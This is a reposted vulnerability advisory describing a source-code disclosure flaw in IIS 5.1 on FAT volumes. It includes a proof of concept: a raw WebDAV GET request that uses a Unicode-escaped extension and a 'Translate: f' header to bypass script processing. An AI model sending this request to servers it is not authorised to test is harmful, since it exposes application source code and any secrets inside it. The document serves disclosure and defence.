IIS 5.1 allows for remote viewing of source code..

Origin: http://www.fr33d0m.net/content-2947.html 

It is possible to remotely view the source code of web script files though a specially crafted WebDAV HTTP request. Only IIS 5.1 seems to be vulnerable. The web script file must be on a FAT or a FAT32 volume, web scripts located on NTFS volumes are not vulnerable.

Confirmed vulnerable
-Mcft® Internet Information Server® V5.1:
a. Mcft® windows® XP Pro. with SP2(English)
b. Mcft® windows® XP Pro. with SP2(Norwegian)
c. Mcft® windows® XP Pro. with SP1(Swedish)

Confimed not vulnerable
-Mcft® Internet Information Server® V5.0:
a. Mcft® windows® 2000 Server with SP4(English)
-Mcft® Internet Information Server® V6.0:
a. Mcft® windows® 2003 Standard(English)

Vendor status
Notified

Solution
Don't use FAT or FAT32 with IIS 5.1

Techical description
WebDAV allows for retrieving streams using the "Translate: f" HTTP header, the processing of this header has logic built into it so that web script files are not processed, this logic can be avoided by using Unicode characters instead in one of the letters of the file.The file must be on a FAT or FAT32 volume to be viewed, a NTFS volume will return a"Forbidden" HTTP response instead.

Proof of Concept:
I have used the server "www.server.net" here, replace with your own server name.
1. Format a volume as FAT or FAT32, or use an existing one
2. Create a folder called "www"
3. Add a new ASP file called "test.asp" in "www"
4. Add this code line "<%=Response.write("Hello World"%>" in "test.asp"
5. Create a new virtual folder in IIS 5.1 and map it agains the folder you made in step 2
6. Open a browser and navigate to "http://www.server.net/www/test.asp" and confirm
that the text "Hello world" is returned and not the script code.
7. Open a MSDOS console
8. Type "telnet www.server.net 80" and hit ENTER
9. Paste the following text block or type it manually:
GET /www/test.as%CF%80 HTTP/1.1
Translate: f
Host: www.server.net
Connection: Close
10. Hit ENTER twize to signal end of HTTP request
11. You should see "<%=Response.write("Hello World"%>" beeing returned

Thanks,

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值